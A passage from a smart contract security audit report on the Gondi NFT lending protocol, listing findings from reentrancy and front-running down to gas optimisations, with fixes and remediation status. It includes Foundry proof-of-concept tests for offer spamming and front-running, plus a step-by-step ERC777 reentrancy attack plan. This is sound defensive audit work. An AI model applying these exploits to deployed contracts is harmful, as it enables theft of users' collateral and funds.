https://github.com/pixeldaogg/florida-contracts/pull/394/commits/a96cc991d2a2ca6e354357f61fc78479 04066b2d

7.12 LOANS ARE NOT CORRECTLY TERMINATED FOR EACH TRANCHE LENDER

// MEDIUM

Description

The `distribute` function in the **LiquidationDistributor** contract only calls `_handleTrancheInsufficient` if the value of `_proceeds` is greater than 0. In case some tranches lenders (only applies for pools) do not receive any payment, they will not be able to terminate their loans. As a consequence, their outstanding values won't update appropriately, which directly affect the correct operation of the pools and their withdrawal queues.

Code Location

The `distribute` function only calls `_handleTrancheInsufficient` if the value of `_proceeds` is greater than 0:

```
for (uint256 i = 0; i < _loan.tranche.length && _proceeds > 0;) {
  IMultiSourceLoan.Tranche calldata thisTranche = _loan.tranche[i];
  _proceeds = _handleTrancheInsufficient(
    _loan.principalAddress, thisTranche, msg.sender, _proceeds, owedPerTr
  );
  unchecked {
    ++i;
  }
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:H/D:N/Y:N (5.0)

Recommendation

It is recommended to update the loop to process the loan termination for each applicable tranche lender, even if the proceeds left are 0.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/84e8ea453cd08347da2e03b8b765ef8b5d006b54

7.13 MISSING PROTECTION AGAINST REENTRANCY ATTACKS

// MEDIUM

Description

The `refinancePartial` and `mergeTranches` functions in the **MultiSourceLoan** contract transfer ERC20 tokens and update states related to the borrowing and lending process, but lack protection against reentrancy attacks. As a consequence of the described situation, a malicious borrower can take advantage of this vulnerability to corrupt the borrowing process and leave lenders without a collateral. Here is a step-by-step example on how this issue can be exploited:

1. A malicious borrower deploys a proxy contract, which will be the intermediary to interact with the protocol.
2. The borrower takes a loan and the proxy contract receives an amount of ERC777 tokens.
3. Later, a lender calls the `refinancePartial` function with an extra amount.
4. The mentioned function transfers some ERC777 tokens to the proxy contract.
5. Once received, the proxy contract calls the `repayLoan` function.
6. The NFT used as collateral is returned to the proxy contract.
7. The execution flow returns to the `refinancePartial` function and a new loan is created. However, this loan does not have any collateral.
8. The loan expires and lender does not receive any payment. When he tries to liquidate the loan, the transaction will always revert because it won't be possible to transfer an NFT that the **MultiSourceLoan** contract does not own.

By using a mutex, an attacker can no longer exploit functions with recursive calls. OpenZeppelin has its own mutex implementation called **ReentrancyGuard**, which provides a `nonReentrant` modifier that protects functions with a mutex against reentrancy attacks.

Code Location

The `refinancePartial` and `mergeTranches` functions in the **MultiSourceLoan** contract lack protection against reentrancy attacks:

```
function refinancePartial(RenegotiationOffer calldata _renegotiationOffer
  external
  returns (uint256, Loan memory)
{
  if (msg.sender != _renegotiationOffer.lender) {
    revert InvalidCallerError();
  }
  if (_isLoanLocked(_loan.startTime, _loan.startTime + _loan.duration)) {

```

```
    revert LoanLockedError();
  }
```

```
function mergeTranches(uint256 _loanId, Loan memory _loan, uint256 _minTr
  external
  returns (uint256, Loan memory)
{
  _baseLoanChecks(_loanId, _loan);
  uint256 loanId = _getAndSetNewLoanId();
  Loan memory loanMergedTranches = _mergeTranches(loanId, _loan, _minTran
  _loans[loanId] = loanMergedTranches.hash();
  delete _loans[_loanId];

  emit TranchesMerged(loanMergedTranches, _minTranche, _maxTranche);

  return (loanId, loanMergedTranches);
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:N/D:H/Y:N (5.0)

Recommendation

It is recommended to update the logic of functions mentioned above to use **ReentrancyGuard** via the `nonReentrant` modifier.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/ebd26c3d41f6cf5a552a558a8eb1caef5a97e1d9

7.14 NO RESERVE PRICE IN AUCTIONS

// MEDIUM

Description

The `liquidateLoan` function in the **AuctionLoanLiquidator** contract does not set a reserve price in the auctions. As a consequence, users could win the auctions by just bidding an amount of assets slightly better than 0. In other words, the current auction mechanism does not ensure that NFTs are sold for less than a predetermined value deemed acceptable.

Code Location

The `liquidateLoan` function in the **AuctionLoanLiquidator** contract does not set a reserve price in the auctions:

```
uint96 currentTimestamp = uint96(block.timestamp);
Auction memory auction = Auction(
  msg.sender,
  _loanId,
  0,
  _triggerFee,
  address(0),
  _duration,
  _asset,
  currentTimestamp,
  _originator,
  currentTimestamp
);
_auctions[_nftAddress][_tokenId] = auction.hash();
emit LoanLiquidationStarted(_nftAddress, _tokenId, auction);

return abi.encode(auction);
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:N/D:H/Y:N (5.0)

Recommendation

It is recommended to set a reserve price in the auctions.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/71d1ebe9c5502bf0360af251f7e7091ce644527b

7.15 OFFERS COULD BE TEMPORARILY UNAVAILABLE BECAUSE OF SPAM LOANS

// MEDIUM

Description

The _validateOfferExecution function in the **MultiSourceLoan** contract does not verify that _offerExecution.amount is greater than zero. As a consequence, malicious borrowers could make the loan offers temporarily unavailable for other users. Here is a step-by-step example on how this issue can be exploited:

1. One or more lenders create offers for an ERC721 collection (i.e.: open to all token id) and with capacity = 0.
2. A malicious borrower calls the emitLoan function and use all the offers, but with amount = 0.
3. The value of isOfferCancelled for every offer will be true. As a consequence, those offers will not be available for the borrowers who really wanted to use them.
4. Even if lenders create new offers, the attack can be repeated again and again.

Code Location

The _validateOfferExecution function in the **MultiSourceLoan** contract does not verify that _offerExecution.amount is greater than zero:

```
function _validateOfferExecution(
  OfferExecution calldata _offerExecution,
  uint256 _tokenId,
  address _lender,
  address _offerer,
  bytes calldata _lenderOfferSignature,
  uint256 _feeFraction,
  uint256 _totalAmount
) private {
  LoanOffer calldata offer = _offerExecution.offer;
  address lender = offer.lender;
  uint256 offerId = offer.offerId;

  if (lender.code.length > 0) {
    ILoanManager(lender).validateOffer(abi.encode(_offerExecution), _feeF
  } else {
    _checkSignature(lender, offer.hash(), _lenderOfferSignature);
  }

```

```
    if (block.timestamp > offer.expirationTime) {
      revert ExpiredOfferError(offer.expirationTime);
    }

    if (isOfferCancelled[_lender][offerId] || (offerId <= minOfferId[_lende
      revert CancelledOrExecutedOfferError(_lender, offerId);
    }

    if (_offerExecution.amount + _totalAmount > offer.principalAmount) {
      revert InvalidAmountError(_offerExecution.amount + _totalAmount, offe
    }

    if (offer.duration == 0) {
      revert ZeroDurationError();
    }
    if (offer.aprBps == 0) {
      revert ZeroInterestError();
    }
    if ((offer.capacity > 0) && (_used[_offerer][offer.offerId] + _offerExe
      revert MaxCapacityExceededError();
    }

    _checkValidators(_offerExecution.offer, _tokenId);
  }
```

Proof of Concept

Foundry test that shows that a malicious borrower could make a loan offer unavailable for other user:

```
function testEmitSpamOfferExecution() public {
  IMultiSourceLoan.LoanOffer memory loanOffer =
    _getSampleOffer(address(collateralCollection), 0, _INITIAL_PRINCIPAL);
  // Accept all token id in a collection
  loanOffer.validators = new IBaseLoan.OfferValidator[](1);

  IMultiSourceLoan.LoanExecutionData memory spamLde = IMultiSourceLoan.LoanExe
  spamLde.executionData.tokenId = collateralTokenId;
  spamLde.executionData.offerExecution[0].amount = 0; // spam offer execution

  vm.prank(_borrower);
  _msLoan.emitLoan(spamLde);

  address validUser = address(0xCAFE);
  uint256 randomTokenId = 14;
```

```
    collateralCollection.mint(validUser, randomTokenId);

    IMultiSourceLoan.LoanExecutionData memory validLde = IMultiSourceLoan.LoanEx
    validLde.executionData.tokenId = randomTokenId;

    vm.expectRevert(
      abi.encodeWithSignature(
       "CancelledOrExecutedOfferError(address,uint256)", loanOffer.lender, loan(
      )
    );
    vm.prank(validUser);
    _msLoan.emitLoan(validLde);
  }
```

The result of the test is the following:

```
❯ forge test  --match-path test/loans/MultiSourceLoan.t.sol --match-test testEmitSpamOfferExecution -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/loans/MultiSourceLoan.t.sol:MultiSourceLoanTest
[PASS] testEmitSpamOfferExecution() (gas: 276355)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.15ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:M/I:N/D:N/Y:N (5.0)

Recommendation

It is recommended to define a minimum threshold for the amount in an `OfferExecution`.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue and stated the following:
Creating offers is free, accepting them takes gas, and hence the attack has a higher cost.

7.16 PROTOCOL FEE MAY BE STALE

// MEDIUM

Description

The addNewTranche and _processOffersFromExecutionData functions in the **MultiSourceLoan** contract use as protocol fee the value stored in the _protocolFee variable, which may be stale if the owner previously tried to update the protocol fee and enough time has passed without anyone calling the setProtocolFee function to really trigger the update.

As a consequence, the borrowing and refinance processes could be operating with an incorrect protocol fee. It is important to mention that even if the setProtocolFee function is invoked timely, users could front-run the transaction that updates the protocol fee if its new value goes against their interests.

Code Location

The addNewTranche function in the **MultiSourceLoan** contract uses as protocol fee the value stored in the _protocolFee variable, which may be stale:

```
if (_renegotiationOffer.fee > 0) {
  /// @dev Cached
  ProtocolFee memory protocolFee = _protocolFee;
  ERC20(_loan.principalAddress).safeTransferFrom(
    _renegotiationOffer.lender,
    protocolFee.recipient,
    _renegotiationOffer.fee.mulDivUp(protocolFee.fraction, _PRECISION)
  );
}
```

The _processOffersFromExecutionData function in the **MultiSourceLoan** contract uses as protocol fee the value stored in the _protocolFee variable, which may be stale:

```
function _processOffersFromExecutionData(
  address _borrower,
  address _principalReceiver,
  address _principalAddress,
  address _nftCollateralAddress,
  uint256 _tokenId,
  uint256 _duration,
  OfferExecution[] calldata _offerExecution
) private returns (uint256, uint256[] memory, Loan memory, uint256) {
```

```
Tranche[] memory tranche = new Tranche[](_offerExecution.length);
uint256[] memory offerIds = new uint256[](_offerExecution.length);
uint256 totalAmount;
uint256 loanId = _getAndSetNewLoanId();

ProtocolFee memory protocolFee = _protocolFee;
LoanOffer calldata offer;
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:M/D:N/Y:N (5.0)

Recommendation

It is recommended to synchronize the value of the `_protocolFee` variable inside the mentioned functions before further processing.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue and stated the following:
The idea is that the protocol fee will be updated at some point in the future, whoever wants to take advantage of lending / borrowing before the updating should be free to do so.

7.17 LOAN LIQUIDATIONS DO NOT GENERATE FEES

// MEDIUM

Description

The `_handleLoanManagerCall` function in the **LiquidationDistributor** contract calls `LoanManager.loanLiquidation` using 0 as protocol fee, which is a value that cannot be modified unless the owner sets a new liquidation distributor with the correct fee value. As a consequence, when loan liquidations are carried out, the Pool contract won't collect fees as part of these kinds of operations.

Code Location

The `_handleLoanManagerCall` function in the **LiquidationDistributor** contract calls `LoanManager.loanLiquidation` using 0 as protocol fee:

```
function _handleLoanManagerCall(IMultiSourceLoan.Tranche calldata _tranch
  if (getLoanManagerRegistry.isLoanManager(_tranche.lender)) {
      LoanManager(_tranche.lender).loanLiquidation(
      _tranche.loanId,
      _tranche.principalAmount,
      _tranche.aprBps,
      _tranche.accruedInterest,
      0,
      _sent,
      _tranche.startTime
    );
  }
}
```

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:N/I:H/D:N/Y:H (4.7)

Recommendation

It is recommended to update the mentioned function to call `LoanManager.loanLiquidation` using a configurable fee.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/29b954c4e1beeb7e93adc437f7b67aadc377f927

7.18 UNCHECKED MAXIMUM NUMBER OF TRANCHES PER LOAN

// LOW

Description

The emitLoan function in the **MultiSourceLoan** contract does not verify that the number of elements in offerExecution, which also represents the number of tranches that a loan will have, is lower or equal than getMaxTranches. As a consequence, a borrower could obtain a loan with a number of tranches greater than the expected by the protocol, which could lead to some transactions that interact with that loan run out of gas, e.g: loan repayment.

Code Location

The emitLoan function in the **MultiSourceLoan** contract does not verify that the number of elements in offerExecution:

```
function emitLoan(LoanExecutionData calldata _loanExecutionData)
  external
  nonReentrant
  returns (uint256, Loan memory)
{
  address borrower = _loanExecutionData.borrower;
  ExecutionData calldata executionData = _loanExecutionData.executionData
  (address principalAddress, address nftCollateralAddress) = _getAddresse

  OfferExecution[] calldata offerExecution = executionData.offerExecution

  _validateExecutionData(_loanExecutionData, borrower);
  _checkWhitelists(principalAddress, nftCollateralAddress);

  (uint256 loanId, uint256[] memory offerIds, Loan memory loan, uint256 t
  _processOffersFromExecutionData(
    borrower,
    executionData.principalReceiver,
    principalAddress,
    nftCollateralAddress,
    executionData.tokenId,
    executionData.duration,
    offerExecution
  );

  if (_hasCallback(executionData.callbackData)) {
```

```
      handleAfterPrincipalTransferCallback(loan, msg.sender, executionData.
    }

    ERC721(nftCollateralAddress).transferFrom(borrower, address(this), exec

    _loans[loanId] = loan.hash();
    emit LoanEmitted(loanId, offerIds, loan, totalFee);

    return (loanId, loan);
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:M/I:N/D:N/Y:N (3.4)

Recommendation

It is recommended to verify that the number of elements in `offerExecution` is lower or equal than `getMaxTranches` before further execution.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/beaed92c641b9b68fc3f1d88fdfd6822b7696c27

7.19 PURCHASE TRANSACTION CAN BE FRONT-RUN TO USE COLLATERAL FROM OTHER USERS

// LOW

Description

The buy function in the **PurchaseBundler** contract does not enforce that the collateral is deposited as part of the function logic, but as a previous step before calling it. As a consequence, an attacker can front-run the transaction when the borrower is calling the buy function and take a loan with an NFT that he never owned. Here is a step-by-step example on how this issue can be exploited:

1. Borrower deposits an NFT in the **PurchaseBundler** contract.
2. Borrower calls the buy function to take a loan.
3. Attacker front runs the purchase transaction and takes the loan using the NFT previously deposited by the borrower.

Code Location

The buy function in the **PurchaseBundler** contract does not enforce that the collateral is deposited as part of the function logic:

```
function buy(bytes[] calldata _executionData)
  external
  payable
  returns (uint256[] memory, IMultiSourceLoan.Loan[] memory)
{
  bytes[] memory encodedOutput = _multiSourceLoan.multicall(_executionDat
  uint256[] memory loanIds = new uint256[](encodedOutput.length);
  IMultiSourceLoan.Loan[] memory loans = new IMultiSourceLoan.Loan[](enco
  for (uint256 i; i < encodedOutput.length;) {
    (loanIds[i], loans[i]) = abi.decode(encodedOutput[i], (uint256, IMult
    unchecked {
      ++i;
    }
  }

  /// Return any remaining funds to sender.
  uint256 remainingBalance = address(this).balance;
  if (remainingBalance > 0) {
    (bool success,) = payable(msg.sender).call{value: remainingBalance}("
    if (!success) {
      revert CouldNotReturnEthError();
```

```
    }
  }
  emit BNPLLoansStarted(loanIds);
  return (loanIds, loans);
}
```

Proof of Concept

Foundry test that shows that an attacker can front run when calling the buy function and take a loan with an NFT that he never owned:

```
function testFrontRunBuy() public {

  // Attacker does not own the NFT
  uint256 privateKey = 100;
  address attacker = vm.addr(privateKey);

  uint256 balanceAttackerBefore = address(attacker).balance;

  assertEq(attacker != _borrower, true);
  assertEq(collateralCollection.ownerOf(collateralTokenId), _borrower);

  // Borrower transfers NFT to PurchaseBundler
  vm.startPrank(_borrower);
  collateralCollection.safeTransferFrom(_borrower, address(_purchaseBundler),
  collateralCollection.setApprovalForAll(address(_msLoan), true);
  vm.stopPrank();

  // Set up attacker's info
  uint256 price = 100;
  uint256 principalAmount = 70;
  IMultiSourceLoan.LoanExecutionData memory lde = _getSampleExecutionData(pric

  lde.borrower = attacker;
  bytes32 executionDataHash = _msLoan.DOMAIN_SEPARATOR().toTypedDataHash(lde.e
  (uint8 vOffer, bytes32 rOffer, bytes32 sOffer) = vm.sign(privateKey, executi
  lde.borrowerOfferSignature = abi.encodePacked(rOffer, sOffer, vOffer);

  bytes[] memory executionData = new bytes[](1);
  executionData[0] = abi.encodeWithSelector(
    IMultiSourceLoan.emitLoan.selector,
    lde
  );
```

```
    // Attacker front runs the transaction when "buy" function is called
    vm.startPrank(attacker);
    collateralCollection.setApprovalForAll(address(_msLoan), true);
    (, IMultiSourceLoan.Loan[] memory loans) = _purchaseBundler.buy(executionDat
    vm.stopPrank();

    assertEq(loans[0].borrower, attacker);

    uint256 balanceAttackerAfter = address(attacker).balance;
    assertEq(balanceAttackerAfter, balanceAttackerBefore + principalAmount);
}
```

The result of the test is the following:

```
❯ forge test  --match-path test/callbacks/PurchaseBundler.t.sol --match-test testFrontRunBuy -vvv
[⠊] Compiling...
No files changed, compilation skipped

Running 1 test for test/callbacks/PurchaseBundler.t.sol:PurchaseBundlerTest
[PASS] testFrontRunBuy() (gas: 416388)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.18ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:N/I:H/D:H/Y:N (3.1)

Recommendation

It is recommended to integrate the logic of the collateral deposit as part of the buy function.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue and stated the following:
A front-run wouldn't be possible because the contract never owns an NFT outside of a transaction.

7.20 OWNER ADDRESS CAN BE TRANSFERRED WITHOUT CONFIRMATION

// LOW

Description

An incorrect use of the `transferOwnership` function can set the owner to an invalid address and inadvertently lose control of the contracts, which cannot be undone in any way. Currently, the owner of the contracts can change **owner address** using the aforementioned function in a **single transaction** and **without confirmation** from the new address. The affected contracts are the following:

- LoanManagerRegistry
- WithLoanManagers
- AddressManager
- AuctionLoanLiquidator
- UserVault

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:H/I:H/D:N/Y:N (3.1)

Recommendation

It is recommended to split **ownership transfer** functionality into `setOwner` and `acceptOwnership` functions. The latter function allows the transfer to be completed by the recipient.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue.

References

src/lib/loans/LoanManagerRegistry.sol#L14
src/lib/loans/WithLoanManagers.sol#L12
src/lib/AddressManager.sol#L31
src/lib/AuctionLoanLiquidator.sol#L114
src/lib/UserVault.sol#L98

7.21 ARRAYS LENGTH COULD MISMATCH WHEN WITHDRAWING ERC721 TOKENS

// LOW

Description

The burnAndWithdraw function in the **UserVault** contract does not verify if the length of _collections and _tokenIds are the same. In case of a mismatch, the operation could revert or, even worse, execute it incorrectly without notifying about the error if the length of the first array is lower than the length of the second one.

Code Location

The burnAndWithdraw function does not verify if the length of _collections and _tokenIds are the same:

```
function burnAndWithdraw(
  uint256 _vaultId,
  address[] calldata _collections,
  uint256[] calldata _tokenIds,
  address[] calldata _tokens
) external {
  _thisBurn(_vaultId, msg.sender);
  for (uint256 i = 0; i < _collections.length;) {
    _withdrawERC721(_vaultId, _collections[i], _tokenIds[i]);
    unchecked {
      ++i;
    }
  }
  for (uint256 i = 0; i < _tokens.length;) {
    _withdrawERC20(_vaultId, _tokens[i]);
    unchecked {
      ++i;
    }
  }
  _withdrawEth(_vaultId);
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:L/I:L/D:N/Y:N (2.1)

Recommendation

It is recommended to verify if the length of the arrays mentioned above are the same before further processing.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue.

7.22 BORROWER IS NOT VALIDATED WHEN REFINANCING FROM OTHER LOAN OFFERS

// LOW

Description

The refinanceFromLoanExecutionData function in the **MultiSourceLoan** contract does not verify that the borrowers in the _loan and _loanExecutionData parameters are the same. If a user mistakenly calls the mentioned function with mismatched borrowers, some operations could become unavailable for him / her, e.g.: loan repayment, refinance, tranches adding, etc.

Code Location

The refinanceFromLoanExecutionData function does not verify that the borrowers in the _loan and _loanExecutionData parameters are the same:

```
function refinanceFromLoanExecutionData(
  uint256 _loanId,
  Loan calldata _loan,
  LoanExecutionData calldata _loanExecutionData
) external nonReentrant returns (uint256, Loan memory) {
  _baseLoanChecks(_loanId, _loan);

  ExecutionData calldata executionData = _loanExecutionData.executionData
  address borrower = _loanExecutionData.borrower;
  (address principalAddress, address nftCollateralAddress) = _getAddresse

  OfferExecution[] calldata offerExecution = executionData.offerExecution

  _validateExecutionData(_loanExecutionData, _loan.borrower);
  _checkWhitelists(principalAddress, nftCollateralAddress);

  if (_loan.principalAddress != principalAddress || _loan.nftCollateralAd
    revert InvalidAddressesError();
  }

  /// @dev We first process the incoming offers so borrower gets the capi
  ///      NFT doesn't need to be transfered (it was already in escrow)
  (uint256 newLoanId, uint256[] memory offerIds, Loan memory loan, uint25
  _processOffersFromExecutionData(
    borrower,
    executionData.principalReceiver,
```

```
        principalAddress,
        nftCollateralAddress,
        executionData.tokenId,
        executionData.duration,
        offerExecution
    );
    _processRepayments(_loan);

    emit LoanRefinancedFromNewOffers(_loanId, newLoanId, loan, offerIds, to

    _loans[newLoanId] = loan.hash();
    delete _loans[_loanId];

    return (newLoanId, loan);
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:L/I:N/D:L/Y:N (2.1)

Recommendation

It is recommended to verify that the borrowers in the parameters mentioned above are the same before further processing.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/2efb7ac28c071b902dea55fdf264b131c7d5759d

7.23 IMPROPER HANDLING OF ZERO TRANSFERS FOR SOME ERC20 TOKENS

// LOW

Description

The addNewTranche function in **MultiSourceLoan** contract does not verify if the amount of assets to be transferred to the protocol fee recipient is different from zero. Because there are some ERC20 tokens that reverts when trying to transfer zero tokens (e.g. LEND), it could imply that borrowers wouldn't be able to add new tranches to their loans if the `protocolFee.fraction` is zero.

Code Location

The addNewTranche function does not verify if the amount of assets to be transferred to the protocol fee recipient is different from zero.

```
if (_renegotiationOffer.fee > 0) {
  /// @dev Cached
  ProtocolFee memory protocolFee = _protocolFee;
  ERC20(_loan.principalAddress).safeTransferFrom(
    _renegotiationOffer.lender,
    protocolFee.recipient,
    _renegotiationOffer.fee.mulDivUp(protocolFee.fraction, _PRECISION)
  );
}
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:L/I:N/D:L/Y:N (2.1)

Recommendation

It is recommended to verify the amount of assets to be transferred to the protocol fee recipient and only execute the transfer logic if this amount is different from zero.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue and stated the following:
We work with a whitelist of assets (USDC / WETH), so this issue is not a problem.

7.24 DURATION IN THE RENEGOTIATION OFFERS IS NOT TAKEN INTO ACCOUNT

// LOW

Description

The `refinancePartial` and `addNewTranche` functions in the **MultiSourceLoan** contract do not verify that the duration of the renegotiation offer should allow it to last at least until the loan end time. Otherwise, the duration of the offer could be shadowed by the loan's total duration and extend it more than expected and defined by the lender, i.e.: the following condition should be met:

```
block.timestamp + renegotiationOffer.duration  >= loan.startTime + _loan.duration
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:L/D:L/Y:N (2.1)

Recommendation

It is recommended to verify that the duration of the renegotiation offer allows it to last at least until the loan end time.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue and stated the following:
Duration is an unnecessary field in `refinancePartial` *or* `addNewTranche` *functions.*

References

MultiSourceLoan.refinancePartial
MultiSourceLoan.addNewTranche

7.25 ARRAYS LENGTH COULD MISMATCH WHEN VALIDATING CALLERS

// LOW

Description

The `addCallers` function in the **LoanManager** contract does not verify if the length of `_callers` and `pendingCallers` are the same. In case of a mismatch, the operation could revert or, even worse, execute it incorrectly without notifying about the error if the length of the first array is lower than the length of the second one.

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:M/I:M/D:N/Y:N (2.1)

Recommendation

It is recommended to verify if the length of the arrays mentioned above are the same before further processing.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue.

References

LoanManager.addCallers

7.26 UNCHECKED PROTOCOL FEE

// LOW

Description

The `constructor` in the **WithProtocolFee** contract does not verify that the protocol fee's fraction is lower than `MAX_PROTOCOL_FEE` and that the protocol fee's recipient is different from zero address. As a consequence, if any of the values is mistakenly set, it could generate that the fee mechanism does not work as expected.

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:N/I:M/D:N/Y:M (2.1)

Recommendation

It is recommended to validate the values of protocol fee's fraction and recipient before further processing.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue.

References

WithProtocolFee.constructor

7.27 UNCHECKED TIMEFORMAINLENDERTOBUY IN CONSTRUCTOR

// LOW

Description

The `constructor` in the **AuctionWithBuyoutLoanLiquidator** contract does not verify that `timeForMainLenderToBuy` is lower or equal than `MAX_TIME_FOR_MAIN_LENDER_TO_BUY`. As a consequence, if the value is mistakenly set, it could allow that main lenders have more time than expected by the protocol to buy other lenders' out.

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:M/I:M/D:N/Y:N (2.1)

Recommendation

It is recommended to verify that the value of `timeForMainLenderToBuy` is lower or equal than the defined threshold before further processing.

Remediation Progress

RISK ACCEPTED: The **Gondi team** accepted the risk for this issue.

References

AuctionWithBuyoutLoanLiquidator.constructor

7.28 LACK OF ACCESS CONTROL WHEN DISTRIBUTING PROCEEDS

// LOW

Description

The `distribute` function in the **LiquidationDistributor** contract can be openly called by anyone. If a user (mistakenly) calls this function, the distribution will be made using the caller's fund instead of the liquidator's fund.

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:N/I:M/D:M/Y:N (2.1)

Recommendation

It is recommended to restrict access to the distribute function, so only the liquidator contract can successfully invoke it.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/4564eede66bd6763f1069c3c2632f6f4cfb6e91a

References

LiquidationDistributor.distribute

7.29 UNCHECKED TRANCHES LENGTH IN RENEGOTIATION OFFERS

// INFORMATIONAL

Description

The `refinancePartial` function in the **MultiSourceLoan** contract does not verify if the tranches' length in a renegotiation offer is greater than zero before creating a new loan id to replace the previous one. As a consequence, lenders could mistakenly (or not) use renegotiation offers with zero-length tranches, and it would create an unnecessary batch of unmodified loans.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (1.7)

Recommendation

It is recommended to verify if the tranches' length in a renegotiation offer is greater than zero before further processing.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/pull/394/commits/9c63f51195bf3581f4a99eb5f15ce7296fbb1507

References

MultiSourceLoan.refinancePartial

7.30 CACHING ARRAY LENGTH IN LOOPS CAN SAVE GAS

// INFORMATIONAL

Description

Reading the length of the array at each iteration of the loop requires 6 gas (3 for `mload` and 3 to place `memory_offset`) onto the stack. Caching the length of the array on the stack saves about 3 gas per iteration. The affected functions are the following:

- `PurchaseBundler.buy`
- `PurchaseBundler.sell`
- `LoanManager.addCallers`
- `MultiSourceLoan.refinancePartial`
- `MultiSourceLoan._processOldTranchesFull`
- `MultiSourceLoan._processRepayments`
- `MultiSourceLoan._processOffersFromExecutionData`
- `Hash.hash`
- `AuctionWithBuyoutLoanLiquidator.settleWithBuyout`
- `LiquidationDistributor.distribute`
- `Multicall.multicall`
- `UserVault.burnAndWithdraw`
- `UserVault.depositERC721s`
- `UserVault.depositOldERC721s`
- `UserVault.withdrawERC721s`
- `UserVault.withdrawOldERC721s`
- `UserVault.withdrawERC20s`

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:N/D:L/Y:N (1.7)

Recommendation

It is recommended to consider caching the length of the arrays.

Remediation Progress

SOLVED: The **Gondi team** solved the issue in the specified commit id.

Remediation Hash

https://github.com/pixeldaogg/florida-contracts/commit/7212bfbe9f78ca6eabb5eec86e24d754feb47f15

References

src/lib/callbacks/PurchaseBundler.sol#L108, L132
src/lib/loans/LoanManager.sol#L81
src/lib/loans/MultiSourceLoan.sol#L257, L570, L936, L999
src/lib/utils/Hash.sol#L41, L85, L119, L142
src/lib/AuctionWithBuyoutLoanLiquidator.sol#L69, L83
src/lib/LiquidationDistributor.sol#L36, L49, L63
src/lib/Multicall.sol#L13
src/lib/UserVault.sol#L132, L138, L176, L200, L237, L257, L272

7.31 TEMPORARY VARIABLES ARE NOT RESET

// INFORMATIONAL

Description

Some functions in the codebase do not reset the temporary variables (e.g.: `LoanManager.getPendingAcceptedCallers`) after their utilization in an update. Although the described issue is not currently exploitable, it is a latent risk and could trigger unexpected situations if the code is refactored, e.g.: bypassing waiting time.

- `PurchaseBundler.setTaxes`
- `LoanManager.addCallers`

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:N/I:M/D:N/Y:N (1.6)

Recommendation

It is recommended to reset the temporary variables in the functions mentioned above at some point after their utilization.

Remediation Progress

ACKNOWLEDGED: The **Gondi team** acknowledged this issue.

References

src/lib/callbacks/PurchaseBundler.sol#L283-L286
src/lib/loans/LoanManager.sol#L77-L80

7.32 POTENTIAL REMOVAL OF NON-LIQUIDABLE LOANS

// INFORMATIONAL

Description

The `loanLiquidated` function in the **MultiSourceLoan** contract does not verify if the loan is liquidatable before deleting the value of `_loans[_loanId]`, which could totally invalidate a non-liquidatable loan and users wouldn't be able to repay, nor liquidate it. This issue has been classified as **Informational** because it is not currently exploitable due to existing external checks along the liquidation process. However, it is mentioned in the report as part of a security-in-depth strategy so that each contract has its own checks and does not depend on external contracts' checks.

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:L/I:L/D:N/Y:N (1.0)

Recommendation

It is recommended that the function verifies if the loan is liquidatable before further execution.

Remediation Progress

